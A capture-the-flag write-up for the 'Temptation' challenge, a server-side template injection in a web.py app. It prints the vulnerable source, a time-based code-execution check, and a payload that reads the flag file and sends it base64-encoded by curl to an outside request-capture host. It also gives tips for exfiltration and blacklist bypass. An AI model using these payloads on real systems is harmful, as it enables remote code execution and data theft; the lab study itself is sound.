Introduction

Context Explanation

The “Temptation” challenge is a web application security exercise focusing on template injection vulnerabilities in Python web applications.

Temptation home

Directive

The goal is to retrieve a flag by exploiting vulnerabilities in the web application.

Solution

Analyzing source code

First, we need to retrieve the application’s source code. The webpage contains a hidden comment suggesting to look at /?source.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<html>
    <head>
            <title>Temptation</title>       
    </head>
    <body>
        <h1>Temptation challenge</h1>
        <form action="/" method="POST">
            <table>
                <tr>
                    <th>
                        <label for="temptation">What is your temptation?</label>
                    </th>
                    <td>
                        <input id="temptation" name="temptation" type="password"/>
                    </td>
                </tr>
                <tr>
                    <th>
                        <label for="submit"></label>
                    </th>
                    <td>
                        <button id="submit" name="submit">submit</button>
                    </td>
                </tr>
            </table>
        </form>
        <!-- Look at me, I'm soo tempting! /?source -->
    </body>
</html>

However, directly accessing this path doesn’t reveal anything. After testing different inputs, we discover that adding any parameter value (e.g., /?source=anything) reveals the source code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

import web
from web import form
web.config.debug = False
urls = (
  '/', 'index'
)
app = web.application(urls, locals())
render = web.template.render('templates/')
FLAG = open("/tmp/flag.txt").read()

temptation_Form = form.Form(
    form.Password("temptation", description="What is your temptation?"),
    form.Button("submit", type="submit", description="Submit")
)

class index:
    def GET(self):
        try:
            i = web.input()
            if i.source:
                return open(__file__).read()
        except Exception as e:
            pass
        f = temptation_Form()
        return render.index(f)

    def POST(self):
        f = temptation_Form()
        if not f.validates():
            return render.index(f)
        i = web.input()
        temptation = i.temptation
        if 'flag' in temptation.lower():
            return "Too tempted!"
        try:
            temptation = web.template.Template(f"Your temptation is: {temptation}")()
        except Exception as  e:
            return "Too tempted!"
        if str(temptation) == "FLAG":
            return FLAG
        else:
            return "Too tempted!"
application = app.wsgifunc()
if __name__ == "__main__":
    app.run()

The source code analysis reveals several key points:

  • The application uses the web.py framework
  • The flag is stored in /tmp/flag.txt
  • A form asks for a “temptation” input
  • Multiple security checks are implemented:
1
2
if 'flag' in temptation.lower():
    return "Too tempted!"
1
2
if str(temptation) == "FLAG":
    return FLAG

The interesting part is the template string evaluation using web.template.Template() with an f-string, which is vulnerable to Python code injection.

1
temptation = web.template.Template(f"Your temptation is: {temptation}")()

Exploitation

The vulnerability lies in the template processing. While the application prevents using the word flag directly and requires the final output to be FLAG, we can bypass these restrictions using template injection.

  1. First, we confirm the vulnerability using a time-based payload:
1
${__import__('os').system('sleep 5')}

Confirming 5s sleep

Access to the flag

  1. After confirming the RCE capability, we craft a payload to exfiltrate the flag:
1
${__import__('os').system('curl https://eohs7zi0yztnmqq.m.pipedream.net/$(cat /tmp/f*.txt | base64)')}

This payload:

  • Uses os.system() to execute shell commands
  • Reads the flag file using cat with a wildcard to avoid using “flag” in the payload
  • Base64 encodes the content to ensure safe transmission
  • Exfiltrates the data using curl to a RequestBin endpoint

Requestbin request received

  1. Decoding the received base64 string:
1
2
echo 'RU5Pe1QzTV9QbDRUXzNTXzRyM19TM2NVcmUhIX0=' | base64 -d
ENO{T3M_Pl4T_3S_4r3_S3cUre!!}

Tips & Tricks

  • When dealing with template injection, remember that f-strings in template contexts can be particularly dangerous
  • Base64 encoding is useful for exfiltrating data while avoiding special character issues
  • RequestBin (or similar services) are valuable tools for data exfiltration in CTF challenges
  • Using wildcards (f*.txt) can help bypass word blacklists
  • Always check source code comments, they often contain valuable hints